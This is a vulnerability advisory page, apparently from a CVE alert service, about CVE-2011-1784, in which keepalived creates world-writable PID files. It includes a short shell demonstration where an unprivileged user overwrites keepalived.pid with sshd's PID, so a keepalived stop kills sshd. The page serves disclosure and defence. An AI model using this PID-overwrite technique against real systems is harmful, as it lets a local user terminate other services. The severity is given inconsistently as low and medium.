CVE-2011-1784: Low severity red hat keepalived vulnerability

Published May 11, 2011
·
Updated

It was reported [1] that keepalived wrote its PID files in /var/run as world-writable files. This could allow an unprivileged user to change the referenced PID in the PID file, and upon a service restart or stop of keepalived, would kill the other process.

The keepalived daemonize code explicitly sets umask(0) which is the root cause of this flaw, so PID file creation should probably contain an explicit permissions settings.

For instance, as root:

service keepalived status keepalived (pid 9634) is running... cat /var/run/keepalived.pid 9634 ls -al /var/run/keepalived.pid -rw-rw-rw- 1 root root 5 May 10 15:13 /var/run/keepalived.pid

Then as an unprivileged user:

% echo $(ps ax|grep sshd|grep -v grep|cut -d ' ' -f 2) >/var/run/keepalived.pid % cat /var/run/keepalived.pid 1638

Back to root:

service keepalived status keepalived (pid 1638) is running... service keepalived stop Stopping keepalived: [ OK ] service sshd status openssh-daemon is stopped ps ax|grep sshd|grep -v grep ps ax|grep keepalived|grep -v grep 9634 ? Ss 0:00 /usr/sbin/keepalived -D 9636 ? S 0:00 /usr/sbin/keepalived -D 9637 ? S 0:00 /usr/sbin/keepalived -D

[1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=626281

Other sources

The pidfilewrite function in core/pidfile.c in keepalived 1.2.2 and earlier uses 0666 permissions for the (1) keepalived.pid, (2) checkers.pid, and (3) vrrp.pid files in /var/run/, which allows local users to kill arbitrary processes by writing a PID to one of these files.

MITRE

Affected Software

57 affected components
Keepalived Keepalived=0.6.9
Keepalived Keepalived=0.7.1
Keepalived Keepalived=0.3.6
Keepalived Keepalived=1.1.5
Keepalived Keepalived=1.1.13
Keepalived Keepalived=1.1.3
Keepalived Keepalived=1.0.1
Keepalived Keepalived=0.6.1
Keepalived Keepalived=1.1.11
Keepalived Keepalived=0.6.5
Keepalived Keepalived=1.1.7
Keepalived Keepalived=1.1.1
Keepalived Keepalived=0.6.3
Keepalived Keepalived=1.1.2
Keepalived Keepalived=1.1.6
Keepalived Keepalived=0.6.6
Keepalived Keepalived=1.1.18
Keepalived Keepalived=0.4.8
Keepalived Keepalived=1.1.19
Keepalived Keepalived=0.2.7
Keepalived Keepalived=1.1.8
Keepalived Keepalived=1.2.1
Keepalived Keepalived<=1.2.2
Keepalived Keepalived=0.5.3
Keepalived Keepalived=1.1.10
Keepalived Keepalived=1.0.2
Keepalived Keepalived=0.3.5
Keepalived Keepalived=0.2.3
Keepalived Keepalived=0.6.8
Keepalived Keepalived=1.1.20
Keepalived Keepalived=1.2.0
Keepalived Keepalived=0.5.5
Keepalived Keepalived=1.1.0
Keepalived Keepalived=1.0.0
Keepalived Keepalived=1.0.3
Keepalived Keepalived=0.6.10
Keepalived Keepalived=0.3.7
Keepalived Keepalived=0.4.9
Keepalived Keepalived=0.5.7
Keepalived Keepalived=0.6.4
Keepalived Keepalived=1.1.14
Keepalived Keepalived=0.5.9
Keepalived Keepalived=0.3.8
Keepalived Keepalived=0.2.1
Keepalived Keepalived=1.1.15
Keepalived Keepalived=0.5.6
Keepalived Keepalived=0.6.2
Keepalived Keepalived=0.6.7
Keepalived Keepalived=0.5.8
Keepalived Keepalived=0.7.6
Keepalived Keepalived=1.1.12
Keepalived Keepalived=0.2.6
Keepalived Keepalived=1.1.4
Keepalived Keepalived=1.1.9
Keepalived Keepalived=1.1.16
Keepalived Keepalived=0.4.9a
Keepalived Keepalived=1.1.17

Event History

May 11, 2011
Data Sourced
10:45 PM
DescriptionSeverityAffected Software
May 20, 2011
CVE Published
via MITRE·10:00 PM
Data Sourced
via MITRE·10:00 PM
Description
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2011-1784?

CVE-2011-1784 is categorized as a medium severity vulnerability.

2

How do I fix CVE-2011-1784?

To fix CVE-2011-1784, update to a version of Keepalived that does not write world-writable PID files.

3

Which versions of Keepalived are affected by CVE-2011-1784?

CVE-2011-1784 affects Keepalived versions 0.2.1 through 1.2.2.

4

What actions can an attacker perform due to CVE-2011-1784?

An attacker can potentially change the PID in the world-writable PID file, leading to denial of service by terminating the relevant process.

5

Is CVE-2011-1784 a remote or local vulnerability?

CVE-2011-1784 is a local vulnerability, as it requires an unprivileged user access to the system.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203